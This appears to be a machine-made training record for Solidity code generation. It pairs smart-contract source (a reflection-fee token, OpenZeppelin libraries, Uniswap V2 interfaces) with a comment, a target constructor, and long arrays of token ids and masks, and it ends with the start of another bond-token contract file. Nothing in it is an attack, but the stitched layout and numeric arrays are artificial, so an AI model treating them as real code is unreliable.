0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
|
Create a uniswap pair for this new token set the rest of the contract variablesexclude owner and this contract from fee
|
constructor() public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devAddress] = true;
excludeFromReward(address(this));
excludeFromReward(devAddress);
excludeFromReward(uniswapV2Pair);
emit Transfer(address(0), _msgSender(), _tTotal);
}
| 14,929,158 |
[
1,
1684,
279,
640,
291,
91,
438,
3082,
364,
333,
394,
1147,
444,
326,
3127,
434,
326,
6835,
3152,
10157,
3410,
471,
333,
6835,
628,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
3885,
1435,
1071,
288,
203,
565,
389,
86,
5460,
329,
63,
67,
3576,
12021,
1435,
65,
273,
389,
86,
5269,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
203,
1377,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
203,
565,
11272,
203,
565,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
203,
1377,
1758,
12,
2211,
3631,
203,
1377,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
1435,
203,
565,
11272,
203,
203,
565,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
565,
389,
291,
16461,
1265,
14667,
63,
8443,
1435,
65,
273,
638,
31,
203,
565,
389,
291,
16461,
1265,
14667,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
565,
389,
291,
16461,
1265,
14667,
63,
5206,
1887,
65,
273,
638,
31,
203,
203,
565,
4433,
1265,
17631,
1060,
12,
2867,
12,
2211,
10019,
203,
565,
4433,
1265,
17631,
1060,
12,
5206,
1887,
1769,
203,
565,
4433,
1265,
17631,
1060,
12,
318,
291,
91,
438,
58,
22,
4154,
1769,
203,
203,
565,
3626,
12279,
12,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
// File: contracts/BondToken_and_GDOTC/util/TransferETHInterface.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.1;
interface TransferETHInterface {
receive() external payable;
event LogTransferETH(address indexed from, address indexed to, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/BondToken_and_GDOTC/bondToken/BondTokenInterface.sol
pragma solidity 0.7.1;
interface BondTokenInterface is IERC20 {
event LogExpire(uint128 rateNumerator, uint128 rateDenominator, bool firstTime);
function mint(address account, uint256 amount) external returns (bool success);
function expire(uint128 rateNumerator, uint128 rateDenominator)
external
returns (bool firstTime);
function simpleBurn(address account, uint256 amount) external returns (bool success);
function burn(uint256 amount) external returns (bool success);
function burnAll() external returns (uint256 amount);
function getRate() external view returns (uint128 rateNumerator, uint128 rateDenominator);
}
// File: contracts/BondToken_and_GDOTC/oracle/LatestPriceOracleInterface.sol
pragma solidity 0.7.1;
/**
* @dev Interface of the price oracle.
*/
interface LatestPriceOracleInterface {
/**
* @dev Returns `true`if oracle is working.
*/
function isWorking() external returns (bool);
/**
* @dev Returns the last updated price. Decimals is 8.
**/
function latestPrice() external returns (uint256);
/**
* @dev Returns the timestamp of the last updated price.
*/
function latestTimestamp() external returns (uint256);
}
// File: contracts/BondToken_and_GDOTC/oracle/PriceOracleInterface.sol
pragma solidity 0.7.1;
/**
* @dev Interface of the price oracle.
*/
interface PriceOracleInterface is LatestPriceOracleInterface {
/**
* @dev Returns the latest id. The id start from 1 and increments by 1.
*/
function latestId() external returns (uint256);
/**
* @dev Returns the historical price specified by `id`. Decimals is 8.
*/
function getPrice(uint256 id) external returns (uint256);
/**
